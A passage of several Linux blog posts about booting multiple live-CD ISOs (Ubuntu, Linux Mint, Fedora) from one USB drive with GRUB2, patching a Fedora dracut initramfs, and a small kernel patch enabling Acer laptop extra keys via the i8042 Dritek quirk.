    linux16 /memtest86+.bin
}

Trying to boot Fedora from ISO

Last time I managed to boot Ubuntu and Linux Mint from ISO pretty easily. Unfortunately, Fedora does not work so simply. There is no iso-scan parameter that can be used for it.

Fedora uses Dracut to create its initramfs infrastructure. From that page, I found the rdshell parameter that could be added to the kernel command line to get into a shell before switching to the real root and init. Once there, I was able to mount the USB drive, then the ISO, and finally the actual live image. So I knew that it should be possible to boot from ISO, but the initramfs doesn't have any parameter to look for it. And useful for later, I found the the version of dracut was 002-13.4.git8f397a9b.fc12.

I went looking at the Dracut pages a little more, and it turns out that support for booting off an ISO was added, and is in dracut-004. Which is great, except of course, it means it's not on the existing image. The commit was easy to find, and seemed self-contained, so I figured I might be able to patch the existing initramfs myself. It would probably be better to just build it from scratch, but I don't think I have everything installed for it and it didn't look like too big of a change to do manually. Modifying the initramfs was simple:

mount -o loop Fedora-12-i686-Live.iso /mnt/cdrom
zcat /mnt/cdrom/isolinux/initrd0.img | cpio -iV
# Modify files here
find . | cpio -oVH newc | gzip > /media/LiveLinux/boot/F12-i686-initrd.img

Now for that modify step, you need to look at the install script of the 90dmsquash-live module to see where dracut would be installing the modified files. Anyway, that seemed to work up until getting past dracut. I saw plymouth start up, but then the kernel complained about the invalid root. Obviously, the ISO was not actually mounted in the end. I even booted to the dracut shell and found no trace of the USB drive. I'm waiting to see if the comments on bug 557426 will help explain something.

Booting Ubuntu/Linux Mint from ISO

Last time I prepared the USB drive to boot from ISO. That's great, but it's no good if there are no ISOs to boot into.

First off, I set up Ubuntu in GRUB. Fortunately, this was pretty easy to do. Ubuntu supports booting from ISO using the iso-scan kernel parameter. Since Linux Mint is derived from Ubuntu, it also supports this parameter. The following lines in the GRUB2 config will enable booting from a Ubuntu/Linux Mint ISO.

menuentry "Ubuntu 9.10 32bit" {
    loopback loop /ubuntu-9.10-desktop-i386.iso
    linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=/ubuntu-9.10-desktop-i386.iso noeject noprompt --
    initrd (loop)/casper/initrd.lz
}

The loopback line loads the ISO in a way that GRUB can locate the kernel and initrd. The stuff about casper is something used for data persistence (so that the ISO remains read-only). I don't have that enabled yet. This GRUB entry works similarly for Ubuntu (32- & 64-bit), Ubuntu Netbook Remix, and Linux Mint (32- & 64-bit).

Booting multiple live CD's from a single USB

Recently, I got a 1TB USB drive. I was planning on using this just for backups, but quite frankly, it's so big there's no need to limit it to just that. So I decided I'd put a few live CD images on it somehow to get a sort of universal test drive. I set aside about 30G which is way overkill, but in GiB, it meant the remaining was a round 900 (darn GB vs GiB thing).

First thing's first, what to put on it? I figure Ubuntu's a good choice for a beginner Linux that would probably boot anywhere (or try to). Along with that, Linux Mint seems to be a great looking option, too. Plus it's green! Also, Fedora since I'm using that on the laptop. Maybe Ubuntu Netbook Remix and something similar like Moblin. And since I'm a bit crazy, there'd have to be the 64-bit versions too. Finally, a few recovery things like GParted or similar.

Now that I have some idea what to get, I have to figure out how to get it to boot. Since I need to get a few live CD's working at the same time, I figure I can't just extract them at the root of the drive (like you would if you wanted a regular LiveUSB). So the question is how I can get them to boot straight from the ISO. First, I need a bootloader that will understand ISO files for me. I saw a few patches to GRUB to do this, but it looks like GRUB 2 proper also supports loading from an ISO, though it's still experimental. Since it's unstable in Gentoo, I had to unmask it first. I also set the multislot USE flag on GRUB so I wouldn't lose the stable version.

# Unmask GRUB 2
echo "=sys-boot/grub-1.97.1 **" >> /etc/portage/package.keywords
echo "sys-boot/grub multislot" >> /etc/portage/package.use
emerge -va =sys-boot/grub-1.97.1
# My USB drive is on /dev/sdf
# and the partition is labelled "LiveLinux"
grub2-install --no-floppy --root-directory=/media/LiveLinux /dev/sdf

Next I'll go over the results of trying to get each LiveCD to boot from ISO.

My first kernel patch

OK, so it's not really anything big. In fact, it's really just a copy and paste (almost).

So, way back when acerhk actually compiled, I was able to use the extra keys on the laptop. These were the volume, media, mail, etc. keys. Now with Fedora and a much newer kernel, it no longer compiles.

Every once in a while, I tried to see if I could fix the compile, but never really got anywhere. But then I found something interesting in the kernel sources. In drivers/input/serio/i8042-x86ia64io.h there was something about a Dritek quirk. I recognized the name as something the acerhk driver also supplied. So, I rebooted and tried that out using i8042.dritek=1 and voilà, the extra keys worked. And a quick copy and paste later and I had me a patch. Just like that:

@@ -467,6 +467,13 @@ static struct dmi_system_id __initdata i
  */
 static struct dmi_system_id __initdata i8042_dmi_dritek_table[] = {
     {
+        .ident = "Acer Aspire 5610",
+        .matches = {
+            DMI_MATCH(DMI_SYS_VENDOR, "Acer"),
+            DMI_MATCH(DMI_PRODUCT_NAME, "Aspire 5610"),
+        },
+    },
+    {
         .ident = "Acer Aspire 5630",
         .matches = {
             DMI_MATCH(DMI_SYS_VENDOR, "Acer"),